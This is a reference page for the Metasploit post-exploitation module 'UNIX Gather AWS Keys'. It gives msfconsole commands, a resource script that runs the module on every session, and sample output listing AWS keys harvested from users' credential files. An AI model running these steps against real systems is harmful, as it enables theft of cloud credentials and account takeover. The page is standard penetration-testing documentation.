UNIX Gather AWS Keys - Metasploit
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Module Overview
Name: UNIX Gather AWS Keys
Module: post/multi/gather/aws_keys
Source code: modules/post/multi/gather/aws_keys.rb
Disclosure date: -
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module will attempt to read AWS configuration files (.aws/config, .aws//credentials and .s3cfg) for users discovered on the session'd system and extract AWS keys from within.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/multi/gather/aws_keys
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/multi/gather/aws_keys
msf post(aws_keys) > show options
... show and set options ...
msf post(aws_keys) > set SESSION session-id
msf post(aws_keys) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/multi/gather/aws_keys")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Vulnerable Application
Any system with a shell or meterpreter session.
Verification Steps
- Get a
shellormeterpretersession on some host. - Do:
use post/multi/gather/aws_keys - Do:
set SESSION [SESSION_ID], replacing[SESSION_ID]with the session number you wish to run this one. - Do:
run - If the system has readable configuration files containing AWS key material, they will be printed out.
Options
None.
Scenarios
msf post(aws_keys) > run
[*] Enumerating possible user AWS config files
[*] Looking for AWS config/credentials files in /bin
[*] Looking for AWS config/credentials files in /dev
[*] Looking for AWS config/credentials files in /home/syslog
[*] Looking for AWS config/credentials files in /home/test
[*] Looking for AWS config/credentials files in /home/test ubuntu
[*] Looking for AWS config/credentials files in /home/ubuntu
[*] Looking for AWS config/credentials files in /nonexistent
[*] Looking for AWS config/credentials files in /root
[*] Looking for AWS config/credentials files in /usr/games
[*] Looking for AWS config/credentials files in /usr/sbin
[*] Looking for AWS config/credentials files in /var/backups
[*] Looking for AWS config/credentials files in /var/cache/man
[*] Looking for AWS config/credentials files in /var/cache/pollinate
[*] Looking for AWS config/credentials files in /var/lib/gnats
[*] Looking for AWS config/credentials files in /var/lib/landscape
[*] Looking for AWS config/credentials files in /var/lib/libuuid
[*] Looking for AWS config/credentials files in /var/list
[*] Looking for AWS config/credentials files in /var/mail
[*] Looking for AWS config/credentials files in /var/run/dbus
[*] Looking for AWS config/credentials files in /var/run/ircd
[*] Looking for AWS config/credentials files in /var/run/sshd
[*] Looking for AWS config/credentials files in /var/spool/lpd
[*] Looking for AWS config/credentials files in /var/spool/news
[*] Looking for AWS config/credentials files in /var/spool/uucp
[*] Looking for AWS config/credentials files in /var/www
AWS Key Data
============
Source AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY Profile
------ ----------------- --------------------- -------
/home/test/.aws/credentials BAR PRIVATE_TEST test
/home/ubuntu/.aws/credentials ABC456 PRIVATE_TEST test
/root/.s3cfg root_key root_secret default
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Msfconsole Usage
Here is how the multi/gather/aws_keys post exploitation module looks in the msfconsole:
msf6 > use post/multi/gather/aws_keys
msf6 post(multi/gather/aws_keys) > show info
Name: UNIX Gather AWS Keys
Module: post/multi/gather/aws_keys
Platform:
Arch:
Rank: Normal
Provided by:
Jon Hart <[email protected]>
Compatible session types:
Meterpreter
Shell
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Description:
This module will attempt to read AWS configuration files
(.aws/config, .aws//credentials and .s3cfg) for users discovered on
the session'd system and extract AWS keys from within.
References:
http://s3tools.org/kb/item14.htm
http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html#cli-config-files
Module Options
This is a complete list of options available in the multi/gather/aws_keys post exploitation module:
msf6 post(multi/gather/aws_keys) > show options
Module options (post/multi/gather/aws_keys):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Advanced Options
Here is a complete list of advanced options supported by the multi/gather/aws_keys post exploitation module:
msf6 post(multi/gather/aws_keys) > show advanced
Module advanced options (post/multi/gather/aws_keys):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the multi/gather/aws_keys module can do:
msf6 post(multi/gather/aws_keys) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the multi/gather/aws_keys post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(multi/gather/aws_keys) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
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Related Pull Requests
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7506 Merged Pull Request: Post module to gather AWS keys
References
- CVE: Not available
- http://s3tools.org/kb/item14.htm
- http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html#cli-config-files
See Also
Check also the following modules related to this module:
- auxiliary/admin/aws/aws_launch_instances
- auxiliary/cloud/aws/enum_ec2
- auxiliary/cloud/aws/enum_iam
- auxiliary/cloud/aws/enum_s3
- auxiliary/scanner/http/yaws_traversal
- exploit/unix/webapp/awstats_configdir_exec
- exploit/unix/webapp/awstats_migrate_exec
- exploit/unix/webapp/awstatstotals_multisort
- post/multi/escalate/aws_create_iam_user
- post/multi/gather/aws_ec2_instance_metadata
- post/multi/gather/apple_ios_backup
- post/multi/gather/check_malware
- post/multi/gather/chrome_cookies
- post/multi/gather/dbvis_enum
- post/multi/gather/dns_bruteforce
- post/multi/gather/dns_reverse_lookup
- post/multi/gather/dns_srv_lookup
- post/multi/gather/docker_creds
- post/multi/gather/enum_hexchat
- post/multi/gather/enum_software_versions
- post/multi/gather/enum_vbox
- post/multi/gather/env
- post/multi/gather/fetchmailrc_creds
- post/multi/gather/filezilla_client_cred
- post/multi/gather/find_vmx
- post/multi/gather/firefox_creds
- post/multi/gather/gpg_creds
- post/multi/gather/grub_creds
- post/multi/gather/irssi_creds
- post/multi/gather/jboss_gather
- post/multi/gather/jenkins_gather
- post/multi/gather/lastpass_creds
- post/multi/gather/maven_creds
- post/multi/gather/multi_command
- post/multi/gather/netrc_creds
- post/multi/gather/pgpass_creds
- post/multi/gather/pidgin_cred
- post/multi/gather/ping_sweep
- post/multi/gather/remmina_creds
- post/multi/gather/resolve_hosts
- post/multi/gather/rsyncd_creds
- post/multi/gather/rubygems_api_key
- post/multi/gather/run_console_rc_file
- post/multi/gather/saltstack_salt
- post/multi/gather/skype_enum
- post/multi/gather/ssh_creds
- post/multi/gather/thunderbird_creds
- post/multi/gather/tomcat_gather
- post/multi/gather/ubiquiti_unifi_backup
- post/multi/gather/unix_cached_ad_hashes
- post/multi/gather/unix_kerberos_tickets
- post/multi/gather/wlan_geolocate
Authors
- Jon Hart <jon_hart[at]rapid7.com>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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